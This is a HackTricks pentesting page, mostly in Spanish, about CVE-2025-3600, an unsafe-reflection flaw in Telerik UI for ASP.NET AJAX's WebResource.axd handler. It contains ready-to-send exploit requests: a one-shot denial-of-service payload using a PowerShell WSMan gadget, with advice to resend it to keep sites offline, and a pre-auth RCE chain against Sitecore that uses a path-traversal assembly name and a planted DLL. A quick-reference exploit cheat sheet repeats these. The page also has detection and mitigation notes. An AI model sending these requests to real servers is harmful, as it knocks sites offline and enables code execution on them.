Telerik UI for ASP.NET AJAX – Reflexión insegura vía WebResource.axd (type=iec)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Pre‑auth ejecución del constructor en el Image Editor cache handler de Telerik UI for ASP.NET AJAX permite DoS universal y, en muchas apps, RCE pre‑auth mediante gadgets específicos de la aplicación (CVE-2025-3600).

TL;DR

  • Componente/ruta afectada: Telerik.Web.UI.WebResource.axd con la query type=iec (Image Editor cache handler). Expuesto pre‑auth en muchos productos.
  • Primitive: El atacante controla un nombre de tipo (prtype). El handler lo resuelve con Type.GetType() e invoca Activator.CreateInstance() antes de verificar la seguridad de tipo. Cualquier constructor público sin parámetros de un tipo .NET se ejecutará.
  • Impacto:
    • DoS pre‑auth universal con un gadget del framework .NET (PowerShell WSMan finalizer).
    • A menudo se eleva a RCE pre‑auth en despliegues reales abusando de gadgets específicos de la app, especialmente manejadores AppDomain.AssemblyResolve inseguros.
  • Solución: Actualizar a Telerik UI for ASP.NET AJAX 2025.1.416+ o eliminar/bloquear el handler.

Versiones afectadas

  • Las versiones de Telerik UI for ASP.NET AJAX 2011.2.712 hasta 2025.1.218 (inclusive) son vulnerables.
  • Corregido en 2025.1.416 (publicado 2025-04-30). Aplicar el parche inmediatamente o eliminar/bloquear el handler.

Superficie afectada y descubrimiento rápido

  • Verificar exposición:
    • GET /Telerik.Web.UI.WebResource.axd debe devolver algo diferente de 404/403 si el handler está configurado.
    • Inspeccionar web.config en busca de handlers mapeando hacia Telerik.Web.UI.WebResource.axd.
    • La ruta para activar el code-path vulnerable requiere: type=iec, dkey=1 y prtype=.

Ejemplo probe y trigger genérico:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Notas

  • Algunos PoCs usan dtype; la implementación comprueba dkey==“1” para el flujo de descarga.
  • prtype debe ser assembly-qualified o resolvable en el AppDomain actual.

Causa raíz – unsafe reflection en ImageEditorCacheHandler

El flujo de descarga de caché del Image Editor construye una instancia de un tipo suministrado en prtype y solo después la convierte a ICacheImageProvider y valida la clave de descarga. El constructor ya se ha ejecutado cuando la validación falla.

Flujo decompilado relevante ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Primitiva de exploit: cadena de tipo controlada → Type.GetType la resuelve → Activator.CreateInstance ejecuta su constructor público sin parámetros. Incluso si la solicitud es rechazada posteriormente, los efectos secundarios del gadget ya se han producido.

## Gadget DoS universal (no se requieren gadgets específicos de la aplicación)

Class: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) tiene un finalizador que llama a Dispose sobre un handle no inicializado, provocando una excepción no manejada cuando GC lo finaliza. Esto hace que el worker process de IIS se bloquee de forma fiable poco después de la instanciación.

One‑shot DoS request:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

  • Keep sending periodically to keep the site offline. You may observe the constructor being hit in a debugger; crash occurs on finalization.

De DoS a RCE – patrones de escalada

La ejecución insegura de constructor desbloquea muchos gadgets y cadenas específicas del objetivo. Hunt for:

  1. Parameterless constructors that process attacker input
  • Algunos ctors (or static initializers) inmediatamente leen Request query/body/cookies/headers y los (de)serializan.
  • Example (Sitecore): a ctor chain reaches GetLayoutDefinition() which reads HTTP body “layout” and deserializes JSON via JSON.NET.
  1. Constructors that touch files
  • Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
  1. Constructors performing app-specific ops
  • Restablecer el estado, toggling modules, o terminating processes.
  1. Constructors/static ctors that register AppDomain event handlers
  • Muchas apps add AppDomain.CurrentDomain.AssemblyResolve handlers que build DLL paths from args.Name without sanitization. If you can influence type resolution you can coerce arbitrary DLL loads from attacker‑controlled paths.
  1. Forcing AssemblyResolve via Type.GetType
  • Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizadores con efectos secundarios destructivos
  • Algunos tipos eliminan archivos de rutas fijas en finalizadores. Combinado con el seguimiento de enlaces o rutas predecibles, esto puede permitir escalada de privilegios local en ciertos entornos.

Ejemplo de cadena RCE pre‑auth (Sitecore XP)

  • Step 1 – Pre‑auth: Trigger a type whose static/instance ctor registers an insecure AssemblyResolve handler (e.g., Sitecore’s FolderControlSource in ControlFactory).
  • Step 2 – Post‑auth: Obtain write into a resolver-probed directory (e.g., via an auth bypass or weak upload) and plant a malicious DLL.
  • Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker.

Trigger examples

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Notas de validación, detección y DFIR

  • Validación segura en laboratorio: Ejecutar el payload DoS y observar el recycle del app pool/excepción no manejada ligada al finalizador WSMan.
  • Buscar en la telemetría:
  • Solicitudes a /Telerik.Web.UI.WebResource.axd con type=iec y valores prtype extraños.
  • Failed type loads y eventos AppDomain.AssemblyResolve.
  • Caídas/reinicios repentinos de w3wp.exe tras tales solicitudes.

Mitigación

  • Aplicar parche a Telerik UI for ASP.NET AJAX 2025.1.416 o posterior.
  • Eliminar o restringir la exposición de Telerik.Web.UI.WebResource.axd donde sea posible (WAF/rewrites).
  • Ignorar o endurecer el manejo de prtype en el servidor (la actualización aplica comprobaciones adecuadas antes de la instanciación).
  • Auditar y endurecer los handlers personalizados de AppDomain.AssemblyResolve. Evitar construir rutas a partir de args.Name sin saneamiento; preferir strong-named loads o listas blancas.
  • Restringir ubicaciones de upload/write y evitar la caída de DLLs en directorios inspeccionados.
  • Monitorizar intentos de carga de tipos inexistentes para detectar abuso del resolver.

Hoja de referencia rápida

  • Verificación de presencia:
  • GET /Telerik.Web.UI.WebResource.axd
  • Buscar mapeo del handler en web.config
  • Esqueleto del exploit:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • DoS universal:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Resolver de desencadenadores:
This.Class.Does.Not.Exist, watchTowr

Técnicas relacionadas

  • IIS post-exploitation, .NET key extraction y in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization y machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks